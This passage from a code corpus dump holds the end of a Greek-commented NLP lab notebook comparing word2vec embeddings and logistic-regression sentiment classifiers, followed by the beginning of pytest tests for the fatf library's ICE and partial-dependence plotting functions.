\u03b1\u03c5\u03c4\u03ac.\n\n# In[67]:\n\n\nfrom gensim.models import KeyedVectors\ngoogleModel = KeyedVectors.load_word2vec_format('./GoogleNews-vectors-negative300.bin',binary=True, limit=NUM_W2V_TO_LOAD)\n\n\n# \u0395\u03c0\u03b1\u03bd\u03b1\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b5\u03c1\u03ce\u03c4\u03b7\u03bc\u03b1 9\u03b3 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae\u03c2 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c4\u03bf \u03c3\u03c5\u03b3\u03ba\u03c1\u03af\u03bd\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03b1 GoogleNews. \n\n# In[68]:\n\n\nselected_words = random.sample(voc, 10)\n\n\n# In[69]:\n\n\nfor word in selected_words:\n    # get most similar words\n    sim = myModel.wv.most_similar(word, topn=5)\n    print('\"' + word + '\"' + \" is similar with the following words:\")\n    for s in sim:\n        print('\"' + s[0] + '\"' + \" with similarity \" + str(s[1]))\n    print()\n\n\n# In[70]:\n\n\nfor word in selected_words:\n    # get most similar words\n    sim = googleModel.most_similar(word, topn=5)\n    print('\"' + word + '\"' + \" is similar with the following words:\")\n    for s in sim:\n        print('\"' + s[0] + '\"' + \" with similarity \" + str(s[1]))\n    print()\n\n\n# \u0391\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03c0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03bf\u03cd\u03bc\u03b5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03c0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2 \u03bc\u03b5 \u03c4\u03b1 Google Vectors \u03c4\u03b1 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03ad\u03c3\u03bc\u03b1\u03c4\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd\u03c4\u03c5\u03c0\u03c9\u03c3\u03b9\u03ba\u03ac \u03b1\u03c6\u03bf\u03cd \u03cc\u03bb\u03b5\u03c2 \u03bf\u03b9 \u03ba\u03bf\u03bd\u03c4\u03b9\u03bd\u03ad\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03ba\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c0\u03bf\u03bb\u03cd \u03ba\u03bf\u03bd\u03c4\u03b9\u03bd\u03ad\u03c2. \u0391\u03c0\u03cc \u03c4\u03b7\u03bd \u03ac\u03bb\u03bb\u03b7, \u03c4\u03bf \u03b4\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03ad\u03c7\u03b5\u03b9 \u03c0\u03bf\u03bb\u03cd \u03c7\u03b1\u03bc\u03b7\u03bb\u03ad\u03c2 \u03b5\u03c0\u03b9\u03b4\u03cc\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03bf\u03c6\u03b5\u03af\u03bb\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03b3\u03b5\u03b3\u03bf\u03bd\u03cc\u03c2 \u03cc\u03c4\u03b9 \u03c4\u03b1 embeddings \u03c0\u03c1\u03bf\u03ad\u03ba\u03c5\u03c8\u03b1\u03bd \u03b1\u03c0\u03cc \u03c0\u03bf\u03bb\u03cd \u03bc\u03b9\u03ba\u03c1\u03cc corpus. \u03a4\u03b1 Google Vectors \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03ac\u03bb\u03bb\u03b7 \u03ad\u03c7\u03bf\u03c5\u03bd \u03ad\u03bd\u03b1 \u03c4\u03b5\u03c1\u03ac\u03c3\u03c4\u03b9\u03bf corpus \u03b1\u03c0\u03cc \u03c0\u03af\u03c3\u03c9 \u03bc\u03b5 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03c4\u03b5\u03c1\u03ac\u03c3\u03c4\u03b9\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03b9 \u03bf\u03b9 \u03c3\u03b7\u03bc\u03b1\u03c3\u03b9\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ac \u03ba\u03bf\u03bd\u03c4\u03b9\u03bd\u03ad\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03ba\u03b1\u03b9 \u03c0\u03b1\u03c1\u03cc\u03bc\u03bf\u03b9\u03b1 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7.\n\n# __\u03b5)__ \u0391\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03bc\u03b5 \u03c4\u03bf myModel \u03c4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03b5\u03ba\u03c0\u03b1\u03b9\u03b4\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 Logistic Regression \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03b7\u03c4\u03ae \u03bc\u03b5 \u03c4\u03bf \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c0\u03bf\u03c5 \u03c0\u03c1\u03bf\u03ad\u03ba\u03c5\u03c8\u03b5 \u03b1\u03c0\u03cc \u03c4\u03b1 Google Vectors.\n\n# In[71]:\n\n\n# Initialize training set\nX_train = np.zeros((len(X_train_raw), 300))\nfor row, sample in enumerate(X_train_raw):\n    words_included = 0\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in googleModel:\n            X_train[row] += googleModel[tok]\n            words_included += 1\n    # Get the mean value\n    X_train[row] = X_train[row]/words_included\n\n\n# In[72]:\n\n\n# Initialize test set\nX_test = np.zeros((len(X_test_raw), 300))\nfor row, sample in enumerate(X_test_raw):\n    words_included = 0\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in googleModel:\n            X_test[row] += googleModel[tok]\n            words_included += 1\n    # Get the mean value\n    X_test[row] = X_test[row]/words_included\n\n\n# In[73]:\n\n\n# Define the clasifier\nclf = LogisticRegression()\n# Train the model\nclf.fit(X_train, Y_train)\n\n\n# In[74]:\n\n\n# Compute error on training data.\nprint(\"Training error =\", zero_one_loss(Y_train, clf.predict(X_train)))\n# Compute error on test data\nprint(\"Test error =\", zero_one_loss(Y_test, clf.predict(X_test)))\n\n\n# \u038c\u03c0\u03c9\u03c2 \u03ae\u03c4\u03b1\u03bd \u03b1\u03bd\u03b1\u03bc\u03b5\u03bd\u03cc\u03bc\u03b5\u03bd\u03bf \u03c4\u03bf error \u03bc\u03b5\u03b9\u03ce\u03b8\u03b7\u03ba\u03b5 \u03ba\u03b1\u03c4\u03ac \u03c0\u03bf\u03bb\u03cd \u03ba\u03b1\u03b8\u03ce\u03c2 \u03c4\u03ce\u03c1\u03b1 \u03c4\u03b1 embeddings \u03ae\u03c4\u03b1\u03bd \u03ba\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b1. \u03a3\u03b5 \u03c3\u03cd\u03b3\u03ba\u03c1\u03b9\u03c3\u03b7 \u03bc\u03b5 \u03c4\u03bf TF_IDF \u03c4\u03bf error \u03b5\u03b4\u03ce \u03b5\u03af\u03bd\u03b1\u03b9 \u03bb\u03af\u03b3\u03bf \u03bc\u03b5\u03b3\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03bf \u03b1\u03bb\u03bb\u03ac \u03ba\u03b5\u03c1\u03b4\u03af\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c0\u03bf\u03bb\u03cd \u03c3\u03b5 \u03c7\u03ce\u03c1\u03bf \u03ba\u03b1\u03b9 \u03c7\u03c1\u03cc\u03bd\u03bf \u03ba\u03b1\u03b8\u03ce\u03c2 \u03bf\u03b9 \u03c0\u03af\u03bd\u03b1\u03ba\u03b5\u03c2 \u03bc\u03b5 \u03c4\u03b1 training \u03ba\u03b1\u03b9 test data \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03bf\u03bb\u03cd \u03c0\u03b9\u03bf \u03bc\u03b9\u03ba\u03c1\u03bf\u03af \u03ba\u03b1\u03b9 \u03c0\u03c5\u03ba\u03bd\u03bf\u03af.\n\n# __\u03c3\u03c4)__ \u03a4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03c4\u03c9\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ce\u03bd \u03bc\u03b5 \u03c7\u03c1\u03ae\u03c3\u03b7 \u03c3\u03c4\u03b1\u03b8\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03bc\u03ad\u03c3\u03bf\u03c5 \u03c4\u03c9\u03bd w2v\n# \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03c4\u03c9\u03bd \u03bb\u03ad\u03be\u03b5\u03c9\u03bd. \u03a9\u03c2 \u03b2\u03ac\u03c1\u03b7 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 TF-IDF \u03b2\u03ac\u03c1\u03b7 \u03c4\u03c9\u03bd \u03bb\u03ad\u03be\u03b5\u03c9\u03bd.\n\n# In[77]:\n\n\n# Get the vocabulary of the words in the training set \n# that contains their tf-idf value.\ntfidf_vectorizer = TfidfVectorizer(analyzer = preproc_tok)\nX_train_temp = tfidf_vectorizer.fit_transform(X_train_raw)\nvoc = tfidf_vectorizer.vocabulary_\n# Do the same as before but now, we multiply each represantation by a the tf-idf of the word.\n# Initialize training set\nX_train = np.zeros((len(X_train_raw), 300))\nfor row, sample in enumerate(X_train_raw):\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in googleModel and tok in voc:\n            X_train[row] += googleModel[tok] * X_train_temp[row,voc[tok]]\n\n\n# In[ ]:\n\n\n# Get the vocabulary of the words in the training set \n# that contains their tf-idf value.\ntfidf_vectorizer = TfidfVectorizer(analyzer = preproc_tok)\nX_test_temp = tfidf_vectorizer.fit_transform(X_test_raw)\nvoc = tfidf_vectorizer.vocabulary_\n# Do the same as before but now, we multiply each represantation by a the tf-idf of the word.\n# Initialize test set\nX_test = np.zeros((len(X_test_raw), 300))\nfor row, sample in enumerate(X_test_raw):\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in googleModel and tok in voc:\n            X_test[row] += googleModel[tok] * X_test_temp[row,voc[tok]]\n\n\n# __\u03b6)__ \u0395\u03c0\u03b1\u03bd\u03b1\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c4\u03b1\u03be\u03b9\u03bd\u03cc\u03bc\u03b7\u03c3\u03b7 \u03bc\u03b5 \u03c4\u03b9\u03c2 \u03bd\u03ad\u03b5\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2.\n\n# In[ ]:\n\n\n# Define the clasifier\nclf = LogisticRegression()\n# Train the model\nclf.fit(X_train, Y_train)\n# Compute error on training data.\nprint(\"Training error =\", zero_one_loss(Y_train, clf.predict(X_train)))\n# Compute error on test data\nprint(\"Test error =\", zero_one_loss(Y_test, clf.predict(X_test)))\n\n", "meta": {"hexsha": "424216feada0728e1965569e33ee8613ea99b6a7", "size": 44911, "ext": "py", "lang": "Python", "max_stars_repo_path": "Lab1/Lab/1hSeira_Lab.py", "max_stars_repo_name": "PanosAntoniadis/slp-ntua", "max_stars_repo_head_hexsha": "f144cd82fddbdfab27dd1ed025fb0d4c9a83a15f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2019-03-17T17:34:49.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-26T07:59:32.000Z", "max_issues_repo_path": "Lab1/Lab/1hSeira_Lab.py", "max_issues_repo_name": "PanosAntoniadis/slp-ntua", "max_issues_repo_head_hexsha": "f144cd82fddbdfab27dd1ed025fb0d4c9a83a15f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Lab1/Lab/1hSeira_Lab.py", "max_forks_repo_name": "PanosAntoniadis/slp-ntua", "max_forks_repo_head_hexsha": "f144cd82fddbdfab27dd1ed025fb0d4c9a83a15f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-01-11T13:06:24.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-07T16:05:28.000Z", "avg_line_length": 40.9398359161, "max_line_length": 825, "alphanum_fraction": 0.7458529091, "include": true, "reason": "import numpy", "num_tokens": 23999, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.1347759261111811, "lm_q1q2_score": 0.05694345344334859}}
{"text": "\"\"\"\nTests feature influence (ICE and PD) plotting functions.\n\"\"\"\n# Author: Alex Hepburn <ah13558@bristol.ac.uk>\n#         Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\nimport pytest\n\ntry:\n    import matplotlib.legend\n    import matplotlib.pyplot as plt\nexcept ImportError:  # pragma: no cover\n    pytest.skip(\n        'Skipping visualisation tests -- matplotlib missing.',\n        allow_module_level=True)\n\nimport numpy as np\n\nimport fatf.utils.testing.vis as futv\nimport fatf.vis.feature_influence as fvfi\n\nfrom fatf.exceptions import IncorrectShapeError\n\nFAKE_ICE_ARRAY = np.array([\n    [[0.1, 0.9],\n     [0.5, 0.5],\n     [0.2, 0.8],\n     [0.3, 0.7],\n     [0.4, 0.6],\n     [0.6, 0.4]],\n\n    [[0.0, 1.0],\n     [0.7, 0.3],\n     [0.8, 0.2],\n     [0.9, 0.1],\n     [1.0, 0.0],\n     [0.9, 0.1]],\n\n    [[0.8, 0.2],\n     [0.7, 0.3],\n     [0.6, 0.4],\n     [0.5, 0.5],\n     [0.4, 0.6],\n     [0.3, 0.7]],\n\n    [[0.2, 0.8],\n     [0.1, 0.9],\n     [0.0, 1.0],\n     [0.1, 0.9],\n     [0.2, 0.8],\n     [0.3, 0.7]]])  # yapf: disable\nFAKE_PD_ARRAY = np.array([[0.50, 0.50, 0.00],\n                          [0.33, 0.33, 0.34],\n                          [0.90, 0.07, 0.03],\n                          [0.33, 0.33, 0.34],\n                          [0.90, 0.07, 0.03],\n                          [0.20, 0.30, 0.40]])  # yapf: disable\nFAKE_LINESPACE = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])\n\n\ndef test_validate_input():\n    \"\"\"\n    Tests :func:`fatf.vis.feature_influence._validate_input`.\n    \"\"\"\n    msg = 'test_partial_dependence is not a boolean.'\n    with pytest.raises(AssertionError) as exin:\n        fvfi._validate_input(None, None, None, None, None, None, 1)\n    assert str(exin.value) == msg\n\n    msg = 'The input array cannot be a structured array.'\n    struct_array = np.array([(4, 2), (2, 4)], dtype=[('a', int), ('b', int)])\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(struct_array, None, None, None, None, None, False)\n    assert str(exin.value) == msg\n\n    msg = 'The input array has to be a numerical array.'\n    non_numerical_array = np.array([[4, 'a'], [2, 'b']])\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(non_numerical_array, None, None, None, None, None,\n                             False)\n    assert str(exin.value) == msg\n\n    numerical_2d_array = np.array([[4, 2], [2, 4], [4, 2]])\n    numerical_3d_array = np.array([[[4, 3], [4, 2], [4, 2]],\n                                   [[8, 1], [7, 5], [4, 2]],\n                                   [[4, 3], [4, 2], [4, 2]],\n                                   [[4, 2], [2, 4], [4, 2]]])\n    # For Individual Conditional Expectation\n    msg = ('plot_individual_condtional_expectation expects a 3-dimensional '\n           'array of shape (n_samples, n_steps, n_classes).')\n    with pytest.raises(IncorrectShapeError) as exin:\n        fvfi._validate_input(numerical_2d_array, None, None, None, None, None,\n                             False)\n    assert str(exin.value) == msg\n    # For Partial Dependence\n    msg = ('plot_partial_depenedence expects a 2-dimensional array of shape '\n           '(n_steps, n_classes).')\n    with pytest.raises(IncorrectShapeError) as exin:\n        fvfi._validate_input(numerical_3d_array, None, None, None, None, None,\n                             True)\n    assert str(exin.value) == msg\n\n    # Linespace\n    msg = 'The linespace array cannot be a structured array.'\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(numerical_2d_array, struct_array, None, None,\n                             None, None, True)\n    assert str(exin.value) == msg\n    #\n    msg = ('The linespace array has to be a 1-dimensional array of shape '\n           '(n_steps, ).')\n    with pytest.raises(IncorrectShapeError) as exin:\n        fvfi._validate_input(numerical_3d_array, numerical_2d_array, None,\n                             None, None, None, False)\n    assert str(exin.value) == msg\n    #\n    msg = 'The linespace array has to be numerical.'\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(numerical_2d_array, non_numerical_array[0], None,\n                             None, None, None, True)\n    assert str(exin.value) == msg\n    # Linespace vector not matching ICE/ PDP dimensions\n    msg = ('The length of the linespace array ({}) does not agree with the '\n           'number of linespace steps ({}) in the input array.')\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(numerical_2d_array, numerical_2d_array[0, :],\n                             None, None, None, None, True)\n    assert str(exin.value) == msg.format(2, 3)\n    with pytest.raises(ValueError) as exin:\n        fvfi._validate_input(numerical_3d_array, numerical_2d_array[0, :],\n                             None, None, None, None, False)\n    assert str(exin.value) == msg.format(2, 3)\n\n    # Index\n    msg = 'Class index has to be an integer.'\n    with pytest.raises(TypeError) as exin:\n        fvfi._validate_input(numerical_3d_array, numerical_2d_array[:, 0],\n                             None, None, None, None, False)\n    assert str(exin.value) == msg\n    #\n    msg = ('Class index {} is not a valid index for the input array. There '\n           'are only {} classes available.')\n    with pytest.raises(IndexError) as exin:\n        fvfi._validate_input(numerical_3d_array, numerical_2d_array[:, 0], -1,\n                             None, None, None, False)\n    assert str(exin.value) == msg.format(-1, 2)\n    with pytest.raises(IndexError) as exin:\n        fvfi._validate_input(numerical_2d_array, numerical_2d_array[:, 0], 2,\n                             None, None, None, True)\n    assert str(exin.value) == msg.format(2, 2)\n\n    # Feature name\n    msg = 'The feature name has to be either None or a string.'\n    with pytest.raises(TypeError) as exin:\n        fvfi._validate_input(numerical_2d_array, numerical_2d_array[:, 0], 1,\n                             42, None, None, True)\n    assert str(exin.value) == msg\n\n    # Class name\n    msg = 'The class name has to be either None or a string.'\n    with pytest.raises(TypeError) as exin:\n        fvfi._validate_input(numerical_3d_array, numerical_2d_array[:, 0], 0,\n                             None, 42, None, False)\n    assert str(exin.value) == msg\n\n    # Plot axis\n    msg = ('The plot axis has to be either None or a matplotlib.pyplot.Axes '\n           'type object.')\n    with pytest.raises(TypeError) as exin:\n        fvfi._validate_input(numerical_2d_array, numerical_2d_array[:, 0], 1,\n                             'feature name', None, 42, True)\n    assert str(exin.value) == msg\n\n    # All OK\n    assert fvfi._validate_input(numerical_2d_array, numerical_2d_array[:, 0],\n                                1, 'feature name', 'class name', None, True)\n    fig, my_plot = plt.subplots(1, 1)\n    assert fvfi._validate_input(numerical_3d_array, numerical_2d_array[:, 0],\n                                1, 'feature name', 'class name', my_plot,\n                                False)\n\n\ndef test_prepare_a_canvas():\n    \"\"\"\n    Tests :func:`fatf.vis.feature_influence._prepare_a_canvas`.\n\n    This test checks for the plot title, x range, x label, y range and y label.\n    \"\"\"\n    title = 'plot title'\n    title_custom = 'custom plot title'\n    class_index = 0\n    x_range = [-5, 3]\n    y_range = [-0.05, 1.05]\n    class_name_n = None\n    class_name_s = 'class name'\n    feature_name_n = None\n    feature_name_s = 'feature name'\n\n    # Plotting from scratch\n    axis = None\n    #\n    figure, plot = fvfi._prepare_a_canvas(\n        title, axis, class_index, class_name_s, feature_name_n, x_range)\n    assert isinstance(figure, plt.Figure)\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        plot)\n    # ...check title\n    assert p_title == title\n    # ...check x range\n    assert np.array_equal(p_x_range, x_range)\n    # ...check x label\n    assert p_x_label == \"Selected Feature's Linespace\"\n    # ...check y range\n    assert np.array_equal(p_y_range, y_range)\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(class_name_s)\n    #\n    figure, plot = fvfi._prepare_a_canvas(\n        title, axis, class_index, class_name_n, feature_name_s, x_range)\n    assert isinstance(figure, plt.Figure)\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        plot)\n    # ...check title\n    assert p_title == title\n    # ...check x range\n    assert np.array_equal(p_x_range, x_range)\n    # ...check x label\n    assert p_x_label == feature_name_s\n    # ...check y range\n    assert np.array_equal(p_y_range, y_range)\n    # ...check y label\n    assert p_y_label == '{} (class index) class probability'.format(\n        class_index)\n\n    # Plotting on an existing axis\n    fig, axis = plt.subplots(1, 1)\n    #\n    axis.set_xlim(np.array([-3, 3]))\n    msg = ('The x-axis range of the plot given in the plot_axis parameter '\n           'differs from the x-axis range of this plot.')\n    with pytest.raises(ValueError) as exin:\n        fvfi._prepare_a_canvas(title, axis, class_index, class_name_n,\n                               feature_name_n, x_range)\n    assert str(exin.value) == msg\n    #\n    axis.set_xlim(np.array(x_range))\n    axis.set_ylim(np.array([0, 1]))\n    msg = ('The y-axis range of the plot given in the plot_axis parameter '\n           'differs from the y-axis range of this plot.')\n    with pytest.raises(ValueError) as exin:\n        fvfi._prepare_a_canvas(title, axis, class_index, class_name_n,\n                               feature_name_n, x_range)\n    assert str(exin.value) == msg\n    #\n    axis.set_ylim(np.array(y_range))\n    axis.set_title(title_custom)\n    #\n    # Do not extend plot title; new feature name and new class name.\n    figure, plot = fvfi._prepare_a_canvas('', axis, class_index, class_name_s,\n                                          feature_name_s, x_range)\n    assert figure is None\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        plot)\n    # ...check title\n    assert p_title == title_custom\n    # ...check x range\n    assert np.array_equal(p_x_range, x_range)\n    # ...check x label\n    assert p_x_label == feature_name_s\n    # ...check y range\n    assert np.array_equal(p_y_range, y_range)\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(class_name_s)\n    #\n    # Do not extend plot title; no new feature name & existing feature name and\n    # no new class name and existing class name.\n    figure, plot = fvfi._prepare_a_canvas('', plot, class_index, class_name_n,\n                                          feature_name_n, x_range)\n    assert figure is None\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        plot)\n    # ...check title\n    assert p_title == title_custom\n    # ...check x range\n    assert np.array_equal(p_x_range, x_range)\n    # ...check x label\n    assert p_x_label == feature_name_s\n    # ...check y range\n    assert np.array_equal(p_y_range, y_range)\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(class_name_s)\n    #\n    # Do not extend plot title; no new feature name & no existing feature name\n    # and no new class name and no existing class name.\n    axis.set_ylabel(None)\n    axis.set_xlabel(None)\n    figure, plot = fvfi._prepare_a_canvas(\n        'extension', axis, class_index, class_name_n, feature_name_n, x_range)\n    assert figure is None\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        plot)\n    # ...check title\n    assert p_title == '{} &\\nextension'.format(title_custom)\n    # ...check x range\n    assert np.array_equal(p_x_range, x_range)\n    # ...check x label\n    assert p_x_label == \"Selected Feature's Linespace\"\n    # ...check y range\n    assert np.array_equal(p_y_range, y_range)\n    # ...check y label\n    assert p_y_label == '{} (class index) class probability'.format(\n        class_index)\n\n\ndef test_plot_individual_conditional_expectation():\n    \"\"\"\n    Tests ICE plotting.\n\n    Tests\n    :func:`fatf.vis.feature_influence.plot_individual_conditional_expectation`\n    function.\n    \"\"\"\n    feature_name = 'some feature'\n    class_index = 1\n    class_name = 'middle'\n\n    figure, axis = fvfi.plot_individual_conditional_expectation(\n        FAKE_ICE_ARRAY, FAKE_LINESPACE, class_index, feature_name, class_name)\n\n    assert isinstance(figure, plt.Figure)\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        axis)\n    # ...check title\n    assert p_title == 'Individual Conditional Expectation'\n    # ...check x range\n    assert np.array_equal(p_x_range, [FAKE_LINESPACE[0], FAKE_LINESPACE[-1]])\n    # ...check x label\n    assert p_x_label == feature_name\n    # ...check y range\n    assert np.array_equal(p_y_range, [-0.05, 1.05])\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(class_name)\n\n    # Test the line\n    assert len(axis.collections) == 1\n    l_data, l_colour, l_alpha, l_label, l_width = futv.get_line_data(\n        axis.collections[0], is_collection=True)\n    assert len(l_data) == FAKE_ICE_ARRAY.shape[0]\n    for i, line_array in enumerate(l_data):\n        line_data = np.stack(\n            [FAKE_LINESPACE, FAKE_ICE_ARRAY[i, :, class_index]], axis=1)\n        assert np.array_equal(line_array, line_data)\n    assert np.isclose(\n        l_colour, np.array([[0.412, 0.412, 0.412, 0.5]]),\n        atol=1e-2).all()  # dimgray mapping apparently\n    assert l_alpha == 0.5\n    assert l_label == 'ICE'\n    assert l_width == 1.75\n\n    # Validate plot legend\n    legend = [\n        i for i in axis.get_children()\n        if isinstance(i, matplotlib.legend.Legend)\n    ]\n    assert len(legend) == 1\n    legend_texts = legend[0].get_texts()\n    assert len(legend_texts) == 1\n    assert legend_texts[0].get_text() == 'ICE'\n\n\ndef test_plot_partial_dependence():\n    \"\"\"\n    Tests :func:`fatf.vis.feature_influence.plot_partial_dependence` function.\n    \"\"\"\n    feature_name = 'some feature'\n    class_index = 1\n    class_name = 'middle'\n\n    figure, axis = fvfi.plot_partial_dependence(\n        FAKE_PD_ARRAY, FAKE_LINESPACE, class_index, feature_name, class_name)\n\n    assert isinstance(figure, plt.Figure)\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        axis)\n    # ...check title\n    assert p_title == 'Partial Dependence'\n    # ...check x range\n    assert np.array_equal(p_x_range, [FAKE_LINESPACE[0], FAKE_LINESPACE[-1]])\n    # ...check x label\n    assert p_x_label == feature_name\n    # ...check y range\n    assert np.array_equal(p_y_range, [-0.05, 1.05])\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(class_name)\n\n    # Test the line\n    assert len(axis.lines) == 1\n    l_data, l_colour, l_alpha, l_label, l_width = futv.get_line_data(\n        axis.lines[0])\n    line_data = np.stack([FAKE_LINESPACE, FAKE_PD_ARRAY[:, class_index]],\n                         axis=1)\n    assert np.array_equal(l_data, line_data)\n    assert l_colour == 'lightsalmon'\n    assert l_alpha == 0.6\n    assert l_label == 'PD'\n    assert l_width == 7\n\n    # Validate plot legend\n    legend = [\n        i for i in axis.get_children()\n        if isinstance(i, matplotlib.legend.Legend)\n    ]\n    assert len(legend) == 1\n    legend_texts = legend[0].get_texts()\n    assert len(legend_texts) == 1\n    assert legend_texts[0].get_text() == 'PD'\n\n\ndef test_ice_pd_overlay():\n    \"\"\"\n    Tests overlaying PD plot on top of an ICE plot.\n    \"\"\"\n    f_name = 'some feature'\n    c_index = 1\n    c_name = 'middle'\n\n    figure, axis = fvfi.plot_individual_conditional_expectation(\n        FAKE_ICE_ARRAY, FAKE_LINESPACE, c_index, f_name, c_name)\n    assert isinstance(figure, plt.Figure)\n    assert isinstance(axis, plt.Axes)\n\n    none, axis = fvfi.plot_partial_dependence(FAKE_PD_ARRAY, FAKE_LINESPACE,\n                                              c_index, f_name, c_name, axis)\n    assert none is None\n    assert isinstance(axis, plt.Axes)\n\n    # Inspect the canvas\n    p_title, p_x_label, p_x_range, p_y_label, p_y_range = futv.get_plot_data(\n        axis)\n    # ...check title\n    assert p_title == ('Individual Conditional Expectation &\\nPartial '\n                       'Dependence')\n    # ...check x range\n    assert np.array_equal(p_x_range, [FAKE_LINESPACE[0], FAKE_LINESPACE[-1]])\n    # ...check x label\n    assert p_x_label == f_name\n    # ...check y range\n    assert np.array_equal(p_y_range, [-0.05, 1.05])\n    # ...check y label\n    assert p_y_label == '{} class probability'.format(c_name)\n\n    # Check ICE\n    assert len(axis.collections) == 1\n    l_data, l_colour, l_alpha, l_label, l_width = futv.get_line_data(\n        axis.collections[0], is_collection=True)\n    assert len(l_data) == FAKE_ICE_ARRAY.shape[0]\n    for i, line_array in enumerate(l_data):\n        line_data = np.stack([FAKE_LINESPACE, 